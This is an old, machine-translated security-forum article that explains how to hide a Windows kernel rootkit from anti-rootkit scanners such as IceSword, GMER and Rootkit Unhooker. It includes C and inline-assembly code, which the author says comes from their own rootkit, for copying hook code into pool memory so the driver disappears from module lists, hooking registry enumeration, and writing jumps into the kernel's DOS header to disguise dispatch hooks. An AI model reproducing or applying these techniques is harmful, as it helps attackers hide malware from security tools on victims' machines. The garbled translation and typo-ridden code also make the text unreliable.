Bypassing Anti-Rookit kernel modules scanning techniques-vulnerability warning-the black bar safety net

ID MYHACK58:62200717405
Type myhack58
Reporter 佚名
Modified 2007-10-27T00:00:00


This article describes some of the methods, you can bypass the current mainstream of the modernAnti-rootkittools, including, but not limited to:Icesword latest version, Gmer latest version, Rootkit unhooker latest version, DarkSpy latest edition and AVG Anti-rootkit latest version, etc.

The current anti-rootkit tools, for the kernel module mainly adopts the following several kinds of scan mode:

  1. Recovery ZwQuerySystemInformation hook,then use function number SystemModuleInformation be enumerated, for example, Icesword is.

  2. Traverse PsLoadModuleList,Driver/Device/Section Object chain,or a TypeList chain, etc. (in short, is to find thedriverelated to the object)for enumeration, such as Rootkit Unhooker,Gmer, etc.

  3. The kernel mirror image of the violence of the search,search for MZ,PE, etc. flag to determinememorywhether there is a PE mirror,such as rootkit unhooker,rutkowska of modgreper, etc., usually can only be displayed as unknow image

  4. Function reference,various routine\hook,the first HOOK of some commonly used function, and then when the driver to call these functions, write down its address,detecting when to use, or are based on a variety of routine(dispatch routine,IDT,Image Notfiy, etc.) or a variety of hook(inline hooks,iat/eat hook, etc.), usually can only be displayed as unknow image or unknow xxx handler, etc.

  5. Using System ImageLoad Notfiy,the use of a BOOT drive, logging all module load message,the detection time for analysis such as AVG Anti-rootkit, etc.

The first said bypass 1,2,3,5 way

Very simple, the use of such ZwSetSystemInformation function to load the driver, then in DriverEntry allocated in NonPagedPool memory, and then the function code/function to copy to the memory, and then make the necessary HOOK, and finally returned STATUS_UNSUCCESSFULL.

So the drive in PsLoadModuleList, various objects chain disappears, nature also is not present in the ZwQuerySystemInformation enumeration of the list. Note that the copy in the memory of the code to be as simple as possible, basic does not need to generate relocation code, but a call to a system function or to find another approach. I a RK in so doing, for example, A Function used to hook the system function B,which needs to call the system function C, then allocate a block of memory, size= len(A) + sizeof(ULONG) * 2

In memory of the first two DWORD put OrgB,and C addresses, the latter began to put the function code, The function used in the call +5 to its own location positioning, find the memory start location, and then give OrgB and C. Of course, also can COPY into memory before your own with absolute positioning function of~but not as good as this method is flexible

The relevant code:

//hook call CmEnumerateValueKey void InstallCMRegHook() { PVOID _CmEnumerateKeyValueLoc ; _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey(); //Find the call CmEnumerateValueKey HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ; //Get the NewCmEnumerateValueKey length HookCode3 = ExAllocatePoolWithTag(NonPagedPool , HookCodeLen + 4 , MEM_TAG_HOOKCODE3); //Allocate memory (ULONG)HookCode3 = (ULONG)_CmEnumerateKeyValueLoc ; //Original function address in the memory RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen); //copy the function code DO_SPINLOCK(); (ULONG)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG); //HOOK EXIT_SPINLOCK(); return ; } NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, IN PVOID KeyValueInformation, IN ULONG KeyLength, IN PULONG ResultLength ) { //The following find the function start address, and get saved in the memory of the OrgCmEnumerateValueKey address asm { push eax call : POP eax SUB eax,offset add eax,offset NewCmEnumearateValueKey ;Get the function start address sub eax,4 mov eax,[eax] ;Get OrgCmEnumerateValueKey push ResultLength push KeyLength push KeyValueInformation push KeyValueInformationClass push Index push KeyControlBlock call eax mov stat, eax ;Call the original function pop eax } //..... Other processing // / / ..... } void NopFunc8() { __asm { nop nop nop } return ; } //Above this NopFunc for NewCmEumerateValueKey a function of the length of the positioning

Thus, based on the ZwQuerySystemInformation,PsLoadModuleList,object directory, Type chain,ImageLoad,violence PE search(because we're not PE mirror,just one piece of code~), see how to bypass the 4. In the detection mode

  1. Hook commonly used functions:this is very simple, to restore themselves to function to or simply don't have those function, the HOOK code most of them are data filtering/processing section, so can a system function also does not transfer...

  2. A variety of routine testing, this can be used many times jump way to get, for example, the Dispatch hook,because to obtain a variety of DRIVER DISPATCH the original address did not compare a common method, so the detection of the dispatch is to be the HOOK typically is detected whether the address in the module Code Section(there are similar object hook,pxxxx hook, etc.), use this method, for example, rootkit unhooker, gmer, etc. As long as we first use this method, you can bypass the detection, so Anti-rootkit tools don't know if our module HOOK here:

The first will be the dispatch address to jump to the code section in the unused portion, of 5 bytes is sufficient, then the 5 bytes using the jmp instruction and then jump to our module, so that the Anti-rootkit tool detected time,you will find the dispatch routine is still in the module code section, by this method you can also bypass the dispatch hook\object hook detection.

inline hook/iat/eat hook can also be used like a method to hide through module detected, but can not avoid the HOOK detection.

Even if the Anti-rootkit tool uses a more complex algorithm, for each routine for in-depth code-level scans,we can also through the complex logic/code, will be our last jump address Hider.

A simple double-jump to bypass the object hook detection code:

object hook method because is not disclosed, so details are omitted, for convenience, is not written to find the code section of the code, directly to jump code to write to the ntoskrnl DOS Header

Also from to I a RK:

ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode ) { //The function for the hook code The adapter to the module's DOS header //in :NewAddress: real hookcode to jump //in :ModuleName: kernel module base address to inject //out :NewJump Address ULONG TempCode = BaseCode ; TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ; //into the DOS stub DO_SPINLOCK(); WPOFF(); (BYTE)TempCode = 0xe9 ; __asm { push eax push ecx mov ecx, TempCode mov eax, NewAddress sub eax, ecx sub eax, 5 mov dword ptr[ecx+1] , eax pop ecx pop eax } WPON(); EXIT_SPINLOCK(); //write jmp NewAddress into the DOS stub return TempCode ; }